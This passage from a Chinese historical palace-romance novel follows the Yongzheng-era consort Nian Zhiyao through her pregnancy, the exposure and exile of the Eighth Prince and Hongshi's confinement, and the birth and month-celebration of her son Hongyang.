弘昼察觉到了四阿哥看他的视线,扭头对他打了个招呼,“四哥,那我也先走了。”
四哥在这人,虽不像三阿哥那般瞧不起人,但和他相处起来也让人颇为心累,你能感觉出四哥是想要与兄弟们打好关系,平日里也多是与人为善。
若是没有弘昭,四哥的行为还不是很明显,可有了弘昭做对比,四哥的情绪就显得有点做作。
弘昼摇了摇头,只能说有些事情真的是天生,强求不来啊。
四阿哥身边的小太监小声道:“奴才瞧着这位五阿哥,倒是个心宽的。”
弘历看他一眼,小太监便噤了声。
刚才六弟出门时便带着笑意,想来是有什么高兴的事,近来皇阿玛和六弟心情都颇好,是因着贵妃的缘故吗。
他想了想,是贵妃又有孕了吗。
贵妃如今已有两子,个个都得皇阿玛喜欢,就连四公主,如今还没嫁人,就被封了固伦公主,看起来皇阿玛也并未打算让她和亲蒙古。
这是何等的荣宠,如今贵妃又要再添一子,那贵妃一脉便对他来说,就会更难抗衡了。
皇阿玛如今对太子人选并未有明显的偏颇,可没有偏颇就意味着皇阿玛并不十分的看好他,六弟正一天天的长大,他们之间年岁的差距正在变小。
六弟身后又有独宠的贵妃做额娘,将来四公主嫁人,额驸一族也会成为六弟的助力。
弘历闭了闭眼,要冷静,他告诫自己,他也是皇阿玛的儿子,只要皇阿玛没册立太子,他就还有机会。
四爷这几日实在是欣喜,就连给太后报喜,他都决定亲自去一趟畅春园。
看着四爷已经吩咐让苏培盛去准备马车,年芷瑶叹了口气,这人,怎么像第一次当阿玛一样。
太后按住扶手,惊喜地看向四爷:“贵妃有孕了?”
四爷笑:“是,王院判已经诊过脉了。”
太后点头:“那个王太医医术高超,有他诊脉,定是错不了。”
福嬷嬷笑道:“恭喜娘娘,恭喜皇上,这可真是大喜事。”
太后笑道:“是呢,皇上多子是社稷之福,若是先帝泉下有知,也定会为此高兴。”
四爷起身,“是,儿子也准备等会儿去清溪书屋告慰先帝。”
太后点头:“这样也好。”
“这年氏想来也是个好的,为你生下这么多的好孩子,如今又有了身孕,可见是个有福的。”
四爷:“是,年氏这些年待儿子真心实意,儿子如今也是越发离不了她了。”他与瑶儿相伴十余载,在他心里,瑶儿早就是他的妻子了。
太后笑得了然,“你们心意相通自然是好事,只是皇后那边。”
四爷:“儿子以为,这事先不通知宫里了。”
宫里人多眼杂,太妃们又即将出宫,若是皇后知道,不定又要闹出什么是非来,不论是在太妃面前多言两句,还是做些什么,都是他不愿看到的。
皇后这人倒是让他不敢小瞧了,一个心狠又没有顾忌的人,总是会做出不计后果的事。
太后点头:“你心里有数便可。”
“只是年氏那可要让人好生照看着,你让她没事不要来这边请安了,舟车劳顿的,免得累着了。”
年氏对她素有孝心,如今她有孕,她自然也愿意多提醒老四几句。
四爷躬身道:“是,皇额娘慈爱,儿子省得。”
在畅春园用过膳,四爷又去了一趟清溪书屋,这是皇阿玛生前最常待的地方,里面的一草一木都还维持着皇阿玛在时的样子。
想来是有宫人定期过来洒扫,四爷不用问人,也知道这定是瑶儿嘱咐的,他看着墙上挂着的画,会心一笑,得妻如此,夫复何求。
当初他娶年家女儿,是为了争得夺嫡的同盟,如今瑶儿伴他多年,对他来说早已不只是年家女儿这般简单了。
可他还记得第一眼见到瑶儿时的惊艳,和生下塔娜时的辛苦,如今,他们更是相濡以沫。
苏培盛守在屋门边,看着里头四爷出了神,不敢出声打扰。
万岁定是在缅怀先帝吧,也是,如今贵妃娘娘又有了身孕,特意前来告慰先帝,也是应有之意。
太后开口:“皇上可是去清溪书屋了。”
福嬷嬷笑道:“正是。”
太后点了点头,“你明日替我去圆明园走一趟,给贵妃送些东西过去。”
福嬷嬷:“娘娘当真是慈爱,贵妃娘娘定会感恩在心的。”
太后:“贵妃这些人伺候皇上颇为辛苦,对哀家也十分尽心,不说旁的,就是老十四的事,也没少因着贵妃而沾光。”
谁的孩子谁知道,老四就不是个能容人的性子,以前十四仗着年纪小,没少气他四哥,如今老四登基,不冷着他就不错了,怎么会主动缓和关系。
这些贵妃不说,她也知道是她的功劳,若不是贵妃生了两个好孩子,老四怎么看见兄弟之情。
福嬷嬷为太后倒了杯茶,“依奴才看,贵妃娘娘也是个好的,可比那位要实在得多。”
她看了看紫禁城的方向,贵妃对太后的好并不算什么,毕竟身为皇家儿媳,谁不想刷个孝顺的名声在身上。
贵妃的可贵之处在于是她对太后真的是毫不图谋,不求太后什么,可那位可就不同了,对娘娘一分的好,就想要十分的回报,难道当旁人都是傻子,看不清楚不成。
太后笑了笑:“她啊,现在就是个被蒙上眼睛的驴,还以为自己走的是直道呢。”其实早就被带到沟里去了。
福嬷嬷笑:“娘娘说得在理。”
年芷瑶看着一左一右扶着她散步的两个嬷嬷,有些无奈地道:“你们倒也不必如此紧张,我没事的。”
松嬷嬷:“主子如今刚有孕,自然该小心些。”
主子虽不是头胎,可到底年岁渐长,又时隔多年才再次有孕,照她看,那是怎么小心都不为过的。
更何况连万岁都百般嘱咐,让人好生照看主子,还特意院判都被拨了过来,专门照顾主子这胎,足以见万岁的重视。
年芷瑶见说不过自己奶嬷嬷,也就放弃了,等回了杏花春馆,瞧见弘昭已经过来了,笑道:“怎么这几日来得这样勤快。”
来了圆明园后,弘昭便搬去了前头的院子,那里离几个阿哥读书的地方更近一些,她也赞同,如今儿子大了,也该有自己的生活空间了。
更何况还有几个伴读陪着他呢,倒也没什么大事。
只是看着哥哥搬走,弘晏却不愿意了,硬是要跟着弘昭一起住,四爷也乐得看他们兄弟两个关系亲近,便对弘晏偷偷跑到哥哥院子里的事睁一只眼闭一只眼。
还让她别太失落,就算大的跑了,这不是又有小的过来陪她了吗。
年芷瑶抽了抽嘴角,看了看四爷,又看了看塔娜,瞬间觉得还是女儿更好些。
不过,若是将孩子生大清的公主,她都觉得有些对不起女儿,就是现在塔娜千娇百宠的,她都仍旧替塔娜可惜,若是男孩,她本该有更多的可能性。
弘昭:“儿子想来看看额娘。”
宫里只额娘生的孩子最多,四哥虽待他十分客气,可弘昭知道,他并不喜欢自己,额娘有孕,他自然想多回来看看,也安心些。
弘晏看着额娘的肚子,说道:“额娘,六哥说额娘怀了小弟弟,小弟弟是什么样呀。”
年芷瑶卡了壳,“等生下来你就知道了。”
“就像弘晏小时候那样吗。”弘昭对弘晏小时候的样子还有些印象。
她点头,“差不多了。”
弘昭有些开心:“那我们又会多一个弟弟了。”
明年弘晏就满六岁了,便能和他一起去上书房读书,记得小的时候,四姐还能和他一起去前院念书,可四姐长大后,皇阿玛就不让四姐到前院去了。
虽说如今五哥和他的关系还算不错,可有了弘晏之后他便知道,异母兄弟到底没有亲生的兄弟来得要好,如今额娘再给他生个弟弟就好了,他定会做一个好哥哥的,弘昭在心里想着。
年芷瑶笑着拍了拍他的肩。
如今有了身孕,她是彻底不愿回宫了,如今宫里太妃们都在忙着搬宫,各处都乱糟糟的,哪比得上园子里风景宜人,快活得很。
再加上宫里还有皇后等人,平日里还好,一怀孕,她就十分不愿回去,谁知道等皇后知道她怀孕的消息会闹出什么幺蛾子。
好在四爷也是这样想的,两人一致认为让她在园子里养胎更好一些,至于宫里,就让皇后一个人折腾去吧。
第78章 第78章与虎谋皮
年芷瑶靠在椅子上听着白芨带来的消息,问道:“你是说,八爷现下和弘时走的越发的近了。”
白芨:“是呢,自从人三阿哥搬出了宫,便时常往八爷的庄子上去,底下人来说,去得频繁的紧呢。”
年芷瑶敲了敲椅背,八爷,是想做什么呢。
先帝在众人面前传位于四爷,四爷登基三年,在朝中扶持了不少自己人,皇位也早已坐稳,谋权篡位定不可能的。
就算八爷在康熙时中颇有贤名,可一朝天子一朝臣,如今那些大臣可是指着四爷吃饭的,都是些不见兔子不撒鹰的人,如今八爷即不能给他们高官,又没有厚禄许之,怎么会人真心实意的为八爷办事。
弘时倒是还能有些名头,他到底是四爷长子,又好糊弄,若是笼络了弘时,日后若是弘时能继位,八爷定能是个实权王爷。
可人人都知四爷并不中意弘时做太子,不然也不会放弘时出宫了,如今的八爷,是想做什么呢。
这事,到底要不要告诉四爷呢。
年芷瑶思忖半天,最终决定去一趟九州清晏。
在这件事情上,她和四爷的立场是一致的,四爷本就无意于三阿哥做太子,若是知道他与八爷私交甚密,只会越发厌弃这个儿子。
与其等着八爷闹出来什么事影响到四爷统治的稳定性,不如告诉四爷早做打算。
四爷见她过来,忙上前道:“你怎么过来了,有什么事让人过来叫朕回去便是。”
年芷瑶笑道:“爷也太过小心了,太医都说我这胎好得很,实在不必这般谨慎。”
四爷道:“朕也许久未做阿玛了,难免有些紧张。”
他扶着年芷瑶到椅子上坐了下来,“可是有什么事。”
年芷瑶看他一眼,又看了眼屋子里伺候的人,挥了挥手让他们先下去,然后开口对四爷说了弘时和八爷的牵扯。
当然不能说她早就派人看着了,只能说她年家的几个侄儿出门的时候正巧碰见了弘时往八爷庄子上去,便跟着过去看了看。
八爷的那个庄子的位置虽说隐秘些,但到底也是在京中,她安排年家先去偶遇一番,又让额娘特意进了院子一趟来‘告诉’她此事,做足了样子,然这才来告诉四爷。
听了她的话,四爷便彻底地黑了脸,弘时竟然暗自里勾结老八。
年芷瑶看了看四爷的神色,说道:“他们见是弘时,便没有声张,而是去庄子里偷偷查看,发现里面养着些女子。”
“之后就并未再看着什么了,只知道那庄子是八爷名下的,然后便来告诉我,我怕弘时受了八爷的蛊惑,干了什么不该干的事,便想着过来和您说一声。”
这事干的符合贵妃一脉的行事准则,既然看见弘时越走越偏,又是自家的‘竞争对手’,年家自然想搞清楚弘时想去做些什么,不去跟着看一看才奇怪呢。
四爷也没有怀疑,他点了点头,他倒不会真的以为几个不同母的阿哥之间真的能亲如一家,只要不是年家暗中做了什么,他都觉得无妨。
他呵呵一笑,“你的侄子都知道朕与老八不和,难道弘时不知,朕看他是鬼迷心窍了。”
老八是什么人,就连他也不敢说是将他看透了,弘时也敢凑过去,何尝不是与虎谋皮,简直是蠢笨如猪。
四爷不认为年家人会在这件事上说谎,毕竟事情是真是假,他派人一看便知,总不至于费尽心思的来诓骗他。
弘时连老八的庄子都敢去,还被年家的人给看到,定是去了不止一次。
四爷忍住怒气,他轻轻拍了瑶儿的手,“你好生养胎,这事朕自会处理。”
年芷瑶点头,她本来就是这样想的,只是,“年家的那几个孩子。”
四爷:“放心吧,这事怪不着他们,若是弘时真与老八勾结,朕还得记他们一功。”
弘时再是不堪大任,也是他的长子,在不知情的人看来就是太子的得力人选,老八打着弘时的名头,定是在暗中筹谋什么,只是,无论老八想做什么,这事都不会如他所愿。
四爷看她:“孩子可有闹你,太医说你如今身子康健,可也得多加注意才是。”
年芷瑶摇头,这孩子如今已经显怀了,和他几个哥哥姐姐一样,倒是乖巧得很,连孕吐反应都没有。
说起来她除了怀塔娜的时候吐过几次,其他几个孩子都安生得很,倒是不怎么辛苦。
四爷点头:“那便好。”
他轻轻摸了摸她的肚子,如今朝中事务繁杂,只有在瑶儿和几个孩子身边,他才能感到安宁。
她问道:“眼看着就快到新年了,爷可要回宫庆贺新年。”
四爷摇头,“就在园子里过便是。”
宫里如今什么人都有,眼下还不知老八闹出什么事来,不如在园子里安心,这园子是皇阿玛赏他的,这么多年下来,伺候的人早就都换成了他的人。
年芷瑶点头同意,她也觉得在园子里更安心些,这园子不说围得像铁桶一般,只说什么消息,若是没有她的点头,定是传不出去的。
既然四爷说要在园子过年,那自然得定个章程出来,总不能之前进宫的人都原封不动地拉进园子里吃席吧,那也不是四爷的本意啊。
四爷将庆贺新年的人分两批,一批照样去宫里庆祝,一批同他一起在园子里庆祝,只是皇上在哪,外头人自然想去哪。
一时之间,过来探口风的人络绎不绝,生怕自己就被打发到了宫里,那不就是明白说不被皇上重用吗。
今年她有了身孕,便想着将新年大宴交给塔娜来办,她在一旁辅助,又让白芍过去帮她。
她让女儿放宽心:“即便是办得不好,也没什么要紧的,不过是个练手的机会。”
既然知道是塔娜管事,就算有些差错,四爷和太后哪个会说她办得不好,至于旁的人,那更不用在意了,早些年先帝办宫宴时,那些个菜都是冷的,又有谁敢张口抱怨呢。
在她这,好歹还让人用火煨着呢。
塔娜慎重地点了点。
等四爷过来,看女儿坐在一旁认真地看着册子,便问道:“这是又给塔娜派了什么活了。”
年芷瑶笑了笑:“今年的新年宴席,我准备交给塔娜去做。”
四爷一笑,过去摸了摸女儿的头:“别紧张,都是些小事,你放心做便是,凡事有你额娘给你兜着呢。”
塔娜对他笑的,“是,女儿懂得。”
晚间,年芷瑶不满:“怎么我对塔娜说这话没用,爷说了塔娜就放松了许多呢。”
四爷大笑起来:“朕可是她的阿玛。”
他拍了拍瑶儿的手:“倒也不用对塔
娜要求太多,朕的女儿即便是什么都不会,难道还有人敢嫌吗。”
年芷瑶有些不赞同:“我让她学着这些,并不是想让她日后好为额驸管家,只是为让她牢牢地将管家权握在手里,来日即便是一人在公主府上,手上有人有钱,日子也不会难过。”
四爷总想着做女儿的保护伞,即便是什么事,四爷都会直接出面摆平,他认为这些并不需要女儿自己操心。
有人撑腰当然不是件坏事,可她却知道要想活得顺心,必须紧紧握住生活的主动权。
四爷替她抚了抚额间的发,“瑶儿说得也有理,夜深了,快些睡吧,你如今可不是一个人。”
年芷瑶轻轻点头,靠在四爷的肩上,感受心下的平静。
景仁宫,皇后收到了消息,说今年万岁要在园子里庆贺新年。
她用力地攥住了手里的帕子,万岁夏日前便带着年氏去了园子,迟迟不归,如今连新年都不回宫了。
赵嬷嬷担忧了看一眼主子,“主子别急,万岁总会回来的。”
皇后冷笑一声,万岁回宫做什么,这宫里哪里还有万岁想见的人呢。
几位阿哥同太后都待在了园子里,她这个皇后,还有什么重要的呢。
钮祜禄氏看着身边的宫女,“你没听错,万岁不回宫了。”
连翘:“错不了,奴婢听得真真的,是过来传话的太监说的。”
钮祜禄氏皱了皱眉,自从皇上带着人去了园子之后,整个紫禁城也都安静了下来,宫里最大的主子不在,连嫔妃之间的拌嘴都少了许多。
这些事她都并不关心,只是弘历也让万岁带进了园子。
连翘猜自家主子是想念四阿哥,便道:“娘娘别担心,四阿哥在皇上身边,总比在宫里要好。”
钮祜禄氏点了点头:“你说得对。”弘历能跟着皇上已经是最好的了。
她看向景仁宫的方向,皇后应该快要气疯了吧。
杏花春馆
年芷瑶刚一起床,就瞧见小太监搬着东西进了园子,瞧见她出来,便立刻躬身道:“贵妃娘娘万安,万岁让奴才送些东西给娘娘。”
他将红布掀开,露出了底下的冰雕。
小太监:“万岁怕娘娘在屋子里无聊,便让人雕了些新鲜东西送过来,好让娘娘赏玩。”
这冰雕的确是栩栩如生,美不胜收,只是她略微逛了几圈,张麒麟就来提醒,说这东西虽好,但到底寒凉,不宜久待。
“是呢,万岁嘱咐说让娘娘略微赏赏便可,日后还有呢。”
年芷瑶笑笑,这到底四爷的一番好意,也没多说什么。
本来这张麒麟是四爷身边的人,看她接管园子辛苦才借给她用的,谁知她怀了孕之后,四爷就没让他回去,反而是将他继续留在她身边的。
说张麒麟是个妥帖的,也好照看她,妥帖是妥帖了,只是如今倒成她耽误张公公了,毕竟皇上身边伺候和在贵妃身边,完全是两回事。
她盘算着日后多赏这位张公公一些,也算是谢过他的照顾。
第79章 第79章八阿哥
在园子里过的新年十分顺利,毕竟能来园子里和四爷一同庆贺新年的都是四爷的亲信,或是来日想要用的,自然是一颗红心向太阳,绝对不会和四爷唱反调。
至于其余无关紧要的人,都在紫禁城对着空荡的御座磕头呢。
能在官场上混迹的如鱼得水的老油子,论起奉承四爷可比,可比她能说多了。
她就听说昨儿个大宴上,有个姓田的文官,拉着四爷的手,涕泪横流地对着四爷表着忠心。
她听了都觉得难受,可四爷还夸这人实在,年芷瑶有些不能理解,这人实在,那十四爷都能算得上耿直了。
这事年芷瑶是当个笑话来听的,可四爷和十三却是在认真商讨,四爷叹道:“如今朝堂正是用人之际,只一个忠心便可一用。”
十三爷:“皇兄用人实在是不拘一格,臣弟佩服。”
年芷瑶正在和塔娜两个人用着午膳,至于弘晏,早已迫不及待和哥哥去前头读书了,对于小孩子来说,能和哥哥一起玩可比额娘的吸引力大多了。
她将八爷和弘时的事告诉四爷之后便没再让年家的人插手,免得让四爷看出来什么不对,她现下也不知道进度,只是觉得四爷应该也快查明了。
这是个皇权大过天的时代,只要四爷下旨彻查,很快就能查出结果来。
雍正四年的二月,注定过得不平静。
年芷瑶总算知道八爷到底做了什么,他竟然勾结蒙古,拉拢宗室,还试图与废太子的旧部联系。
年芷瑶震惊,不明白八爷哪来这么大的胆子,他到底是多看不惯四爷啊,如今四爷都登基了,他竟然还想着把四爷给拉下来。
弘时未免也太过愚蠢了些,这事连和八爷最好的九爷都没敢跟着掺和,可是弘时却敢,这智商也是没谁了。
四爷并未将八爷所做之事公之于众,想来也是怕多生事端,是以兄弟之中唯有十三爷知道详情,连十四爷都是猜测。
看了一遍八爷和蒙古郡王的信件,四爷便下旨让八爷去给先帝爷守皇陵去了。
这旨意下得突然,众多朝臣都不知发生了什么,只是看着八爷一声不吭的就接了旨,心下也都清楚,定是八爷在背后做了什么,才让四爷如此动怒。
九爷在府里默默看着外头的天,听见院子外小太监匆匆跑了过来,抬头看了过去,“东西都送到了。”
小太监点头:“爷放心,奴才将东西亲手送了到了八爷手里。”
九爷叹气,“算了,回去吧。”
“是。”
“八哥,一路走好啊。”他喃喃自语,他还有儿子,不能舍全家老小不顾,如今让人送些盘缠过去,也算是全了他们之间的兄弟情谊。
小太监:“爷,万岁如此不喜八爷,您还不和那边远着些。”
今日过去的时候他可看见了,八爷那可一个人都没有,冷清得很呢。
九爷拍了拍小太监的头:“这还用你说,爷心里有数。”
小太监撇嘴,您还有数呢,这事旁人躲都来不及,您还眼巴巴地过去送东西,若是让皇上知道了,您这辈子也就只能是个贝勒了。
八爷坐在马车上,对福晋挥了挥手:“别送了,快回去吧。”
八福晋的眼泪都快流干了,“爷,让我跟着您一起去吧。”
八爷摇头:“我此去是为皇阿玛守陵的,那地方条件不好,你好生待在家里过日子。”
八福晋不愿意:“爷,我不怕辛苦,我只想跟在您的身边。”
八爷替她擦了泪,拒绝了八福晋:“放心吧,爷会照顾好自己的,你在家看好弘旺。”
今日过来送行的还有何焯,他看向八爷,这些日子八爷到底做了什么,他虽猜到一些,但知道得并不确切。
八爷与三阿哥接触,他还以为八爷是想为下注下任储君,可现在想来,八爷是不止做了这些。
八爷看他:“润千,是我耽误你了。”
何焯摇头,“此去辛苦,望主子珍重。”
八爷抬头望天,“四哥,这次是我输了,只是来日方长。”
何焯对着八爷离开的方向磕了个头,想到方才八爷说的话,八爷还是没放弃吗,只是四爷如今成了皇上。
八爷再有千般打算,那位动动指头就能将八爷按死,在绝对的力量面前,再多的阴谋诡计都是小计,不如做个普通宗室闲散度日,那位想来也不愿背着动手杀兄弟的骂名。
可惜八爷却不肯服输,想到自己与八爷多年情谊,何焯叹了口气,他看向八福晋:“福晋,如今风大,还是回府吧。”
郭洛罗氏擦干了眼泪,不愿在旁人面前失态,如今的她早已没什么好哭的了,她低声道:“回吧。”
八爷的离京并未给朝中带来什么影响,如今早就是雍正朝了,八爷的离去,只能说当年的红极一时的八王彻底下了台,剩下的便是收拾几个靠向八爷的几个
宗室和蒙古郡王。
等到这事再无余波,四爷才下旨将弘时闭府,非召不得出,等于是将弘时圈在了府里,如果说八爷还可以说被四爷清算,没什么特别的。
可弘时被圈可就是真的是件大事了,太子人选未定,长子就是天然的政治资本,长子被四爷圈了,就代表着再无议储资格,就如同当年的直郡王。
如今朝堂又刮起了一阵册立太子的风波,余下的阿哥中四阿哥最长,可六阿哥为贵妃所生,背后还有年家,那年羹尧可是四爷的亲信,又是平定青海的大功臣,有个得力的外家,谁也不敢小瞧六阿哥。
不过这些年芷瑶都无暇顾及了,因为她快要生了。
园子的产房早早都准备好了,一应的产婆也都备齐了,这些婆子的祖上三代都被四爷查了遍,个个都家世清白。
如今年芷瑶发动,院子里个个都严阵以待,生怕出了什么差错。
四爷握着她的手:“瑶儿别怕,朕就在外头。”
年芷瑶看着一屋子的人因着四爷不敢上前,冲他笑笑,“我知道,万岁快出去吧,这里有产婆和太医在,会照顾好我的。”
四爷点了点头,替她擦了擦汗,“好,你安心生产。”
看四爷走后,塔娜也被白芨劝了出去,免得一会儿吓着她。
屋外,苏培盛看着万岁一副坐立不安的样子,心道,万岁这幅样子可真是许久未见了。
他去外头嘱咐了一番小太监,若不是什么十万火急的事就别过来回禀了,万岁如今可没空搭理他们,若是惹了万岁的怒,可别怪他苏公公没提醒他们。
松嬷嬷正为主子擦着额娘的汗,她心疼地看着主子,“参汤已经备好了,主子省着些力气。”
年芷瑶点头,她懂,生孩子的流程都那样,如今她也算是个熟练工了。
参汤最后也没用上,她这胎生得顺畅极了,感觉还没怎么使劲,孩子就自己出来了。
白嬷嬷上前查看,然后笑道:“恭喜主子,是个小阿哥。”
年芷瑶对她笑了笑,“快去给万岁道喜吧。”
白嬷嬷:“是。”
等她再睁眼,天色已经暗了下来,她看见四爷坐在一旁,“爷怎么没去休息。”
四爷摸着她的手:“朕不放心,便过看看你,可要见一见八阿哥。”
年芷瑶点头:“好。”
她摸了摸儿子的小手,不管是第几次见,她都觉得小孩子的手是真小啊,真怕一不留神就给捏坏了。
四爷眼神温柔地看着瑶儿和孩子,八阿哥刚出生时哭声便洪亮至极,日后定是个康健的孩子,瑶儿给他生了那么多的好孩子,让他怎能不偏爱。
又过了几日,松嬷嬷才让她见了几个孩子,只是孩子们都知道她累,便都定好了来看她的时辰,来时也都小心翼翼的。
这日午后,弘晏来看弟弟,他伸手戳了戳弟弟的脸,“额娘,弟弟好小一只哦。”
他比画了一番,从小到大弘晏都是最小的一个,这次看到比他还小的弟弟,他不免有些激动。
年芷瑶笑道:“你也是从这么小长大的。”
弘晏有些不信:“真的吗。”
塔娜说道:“当然是真的,你当时就和八弟一样小。”
作为几个孩子中最大的一个,塔娜还是很有发言权的。
万岁新得了个阿哥,心下高兴,连之前三阿哥被圈的阴影都被冲淡了不少,不少大臣都松了口气,心下叹道,八阿哥真是及时雨啊。
十四福晋正和十四爷一同用膳,听到贵妃产子的消息后,不禁叹道:“贵妃伺候万岁也有十余年了吧,如今还能生下阿哥,倒真是难得的盛宠啊。”
十四爷看她一眼:“四哥是个念旧情的人。”
贵妃陪他多年又接连生子,想必不会轻易割舍的。
十四福晋默不作声,到底是亲生的兄弟,再是不合,十四爷也是了解他哥的。
十四爷问她:“皇额娘那可好。”
十四福晋:“自然好着呢,皇额娘自己住着畅春园,我瞧着倒是比在宫里要快活得多。”
十四福晋想想就羡慕,皇额娘做了太后不说,万岁还孝顺,将她接去畅春园住着,这么大一个园子,就是让她每日都逛一圈,也是逛不腻的。
十四爷冷哼一声,“你这么羡慕,爷不如去皇额娘说声,让你去园子陪她好了。”
十四福晋笑道:“那感情好,我去陪着皇额娘,您就自己在府里待着吧。”
十四爷闻言,撂下筷子便起身离去。
小太监见了便道:“爷你吃好了。”
十四爷:“吃什么吃,气都气饱了。”
十四福晋可不怵他,回他道:“爱吃不吃,不吃我自己吃。”
奶嬷嬷看她:“福晋,您何必要和十四爷顶着来呢。”
十四福晋哼了一声;“谁惯他。”
第80章 第80章满月宴
四爷如今对八阿哥爱得不行,每日晨起都得先来屋子里看过小八后才去九州清晏处理政事。
晚上一回来,也要见过小八才去歇下,年芷瑶看着四爷抱着八阿哥一副有子万事足的样子,不由笑道:“爷这样子可别让弘晏看到,不然我看他难免要吃味。”
“那有什么。”四爷道:“朕也一样疼他。”
“只是小八还小,又是小儿子,朕难免多疼几分。”
年芷瑶摇了摇头,她也不是不能理解四爷,从康熙到四爷对儿子管教一向严格,儿子还小的时候,四爷尚且能做个慈父,可一旦到了进学的年纪,四爷这个阿玛,可就只能做个严父了。
从弘昭到弘晏都是如此,如今好不容易来个小八,四爷自然开心得很。
四爷将小八递给了奶娘,然后坐到了她的身前,“你好好养着,等你出月子,朕准备大办弘暘的满月宴。”
弘暘是四爷为八阿哥起的名字,这孩子生下来第二天就被赐了名,名字得的可比他两个哥哥要快得多,可能这就是阿玛是皇上的好处了吧。
年芷瑶抬头看他,“这样会不会太兴师动众了。”
四爷说要大办,绝不会是简单吃饭听戏这么简单,说不得内外命妇都得过来,连宫里都得跟着一块办,虽然是自己儿子,可她也觉得太麻烦了些,毕竟孩子是她的,少不了要出去应酬那些人。
四爷:“弘暘是你同朕的小儿子,自然当得起。”
弘晏生人时,先帝身子不好,满月周岁都没有大办,如今有了弘暘,四爷想大办也是人之常情。
看四爷已经下了决定,年芷瑶点了点头,“那我听爷的。”
四爷笑了笑,抚着她的发:“你还没出月子,万事都不用操心,有爷在呢。”
年芷瑶笑着看他:“好。”
四爷说不用她操心,那她自然也乐得清闲,四爷说得对,她刚生产完,现下养好自己的身子才是最要紧的。
这日,十三进宫来给万岁请安,迎面瞧见六阿哥和七阿哥一同过来,他脚步微停。
弘昭也看见了十三爷,便拉住弘晏,拱手道:“十三叔。”
十三爷对他们笑笑:“你们这是要去哪。”
弘晏有些兴奋地道:“侄儿听说前头湖里的鱼多,正要过去钓鱼呢,十三叔可要一起。”
他缠了六哥好久,他哥好不容易答应了今日和他同去钓鱼,弘晏说起此事来脸上便带着笑意。
弘昭也没拦着弟弟和十三爷亲近,十三叔一向是皇阿玛最信重的兄弟,他在府里时就常常与十三叔相见,情分自然和其他叔伯是不一般。
十三爷眼带笑意,“下次吧,我还要先去见皇上。”
弘昭:“十三叔慢走。”
进了九州清晏,十三爷便向四爷行礼,“臣弟给皇上请安。”
四爷扭头看他:“快起身,朕都说了不必多礼。”
十三爷笑笑并不应声,四哥对他好,可他却不敢借着四哥对他的宠信逾矩,帝王君心难测,这点他在皇阿玛身上就已经领教过了。
他看今日四哥心情不错,
便开口说起了在前头园子里遇到两位阿哥的事。
四爷听后不免摇头,他倒是十分了解自己儿子,开口道:“定是弘晏缠在弘昭去的。”
十三爷笑道:“两位阿哥赤子之心,想来关系极为亲近。”
四爷:“是啊,弘昭与弘晏的兄弟之情,便如同朕与你一般。”
只是提及兄弟,四爷不免叹息:“十三,你说朕是不是太过心狠了。”
十三爷惊讶抬头:“皇兄何出此言。”
四爷:“弘时那孩子愚笨,不过是占了个长子的名分,朕本就无意将大位传他到手中,又怕他在宫里受人挑拨,这才让他出宫开府,谁知他却与老八勾结,联络宗室。”
他叹了口气:“弘时到底是朕的儿子,下旨让他不许出府已是最低的惩处了。”
十三爷低头:“皇兄一片爱子之心,三阿哥日后会明白的。”
若四哥说的是老八,他还能跟着骂两句,可又提到了三阿哥,十三爷也只能将矛头带到八爷身上:“老八此人狼子野心,皇上是为了大清的安稳才将他逐出京城,就是皇阿玛泉下有知,也定会理解皇兄的。”
这话说到了四爷心里去了,他负手而立,“是啊,老八屡次三番冒犯朕,又牵扯弘时,将来就是见了皇阿玛,朕也有话可说。”
景仁宫
皇后得了四爷要大办八阿哥满月的消息,扯了扯嘴角,“万岁不在宫里,可宫里却要跟着大办八阿哥的满月,皇上可真是喜爱年氏生的这个小阿哥啊。”
“娘娘。”福嬷嬷听了主子不敬的言论,连忙看了看周围,如今贵妃把持六宫,她们宫里的人也不一定就忠心耿耿啊。
皇后看她:“在自己的宫里都不敢放声说话,本宫这个皇后当的还有什么意思,不如将这皇后之位让给年氏来做。”
“我倒要看看,年家势大,皇上若是真立了六阿哥为太子,将来外戚当道,皇上还能不能睡得安稳。”
“娘娘。”福嬷嬷急得直冒汗,但看主子这般,她也不敢直接和主子反着来,只能劝道:“娘娘何必着急,那年贵妃再是得宠,年岁也长了,哪比得上年轻女子娇嫩,如今可已经出了孝期。”
皇后:“你是说。”
福嬷嬷点头:“万岁登基后可一次选秀都没办呢,不少人家可都挑好了女孩等着呢,那八阿哥万岁登基后生下的第一个阿哥,自然得皇上喜爱,可若是日后小阿哥生得多了,自然就无关紧要了。”
就像先帝,小阿哥一个接一个地生,就算生下阿哥又如何,不得宠的不照样被抛之脑后。
皇后看了过来,笑了笑:“你说得有理,如今为万岁开枝散叶才是要紧事。”
看主子冷静下来,福嬷嬷不免松了一口气,虽说选秀一事也不一定能让主子称心如意,但好在能让主子有些盼头,这日子有了盼头,就还能再过下去。
弘暘的满月宴定在年芷瑶出月子后的第五天。
依旧是在园子办,年芷瑶一早便起了床,先去看了眼八阿哥,然后才在白芨的伺候下用了早膳。
塔娜也一早就过来陪着她用膳。
年芷瑶看她:“怎么不多睡会儿。”
塔娜笑道:“有些睡不着。”弟弟的满月宴也是她跟着嬷嬷一块动手操办的,今日又有额娘的脸面在,她怕有什么出了什么疏漏。
年芷瑶看出女儿的紧张,伸手拍了拍她,“我去看了,你办得很好,很妥当。”
塔娜笑得有些开心。
皇上的小阿哥的满月,自然是人人都抢着想来,只是到底不能四爷也不会让所有人都进园子里庆贺,除了宗室外,唯有三品以上的命妇能进来。
就这人也已是不少,等到年芷瑶带着孩子出来时,命妇们早已等着了。
她冲着几个熟悉的面孔点了点头,等视线移到额娘身上时,这才露出了真心的笑意。
她对白芨使个眼色。
白芨会意点头。
如今她恩宠正盛,又生了八阿哥,自然不会有人没眼色地说些什么不中听的话,开口的都是能说会道的夫人。
她还瞧见了富察家的人,也就是四爷为塔娜挑的驸马家,只是如今旨意还未下,富察一家的座位只能中间位置。
富察夫人和她对了个眼神,此人倒是十分低调,年芷瑶点了点头,算是个懂事的,若是他们敢借着公主的名头耍威风,不用她出手,四爷也饶不了他们家。
年芷瑶坐在上头听了一上午的奉承,实在是有些头晕眼花,谁说古人保守了,这话可露骨得很,一场满月宴办下来,她还以自己是什么天仙下凡了呢。
她将这话说给四爷听,四爷不免失笑,“人人都是想听奉承都来不及,你倒还想躲起来了。”
年芷瑶哼了一声,“我又不缺那些子好话,难不成还能因着多听几句好话就能长生不老,永葆青春了。”
四爷搂住她,瑶儿如今都嫌听的奉承多,可他坐在前头,听到的岂不是更多,自他登基后,连十三都恪守君臣之道,他再想做个好兄长,十三也只能做个忠心的臣子,与他也越发生疏了。
